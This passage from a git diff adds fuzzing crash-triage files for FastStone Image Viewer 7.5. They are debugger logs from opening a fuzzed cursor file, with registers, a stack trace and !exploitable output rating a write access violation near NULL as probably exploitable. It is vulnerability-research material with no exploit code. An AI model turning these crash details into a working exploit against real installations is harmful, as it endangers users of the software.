Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3265dc8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2f95e2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D20: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D20: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d20.1674): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0f7ecfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.11735e-035 -5.38276e-033 8.11732e-028 1.53084e-021 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032b000 e72c8648 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2f95e2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1D20: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1D20: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1d20.1674): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e57b19 edx=00000000 esi=00000000 edi=0f7ecfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.11735e-035 -5.38276e-033 8.11732e-028 1.53084e-021 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032b000 e72c8648 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3265dc8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/55136/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/56801/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 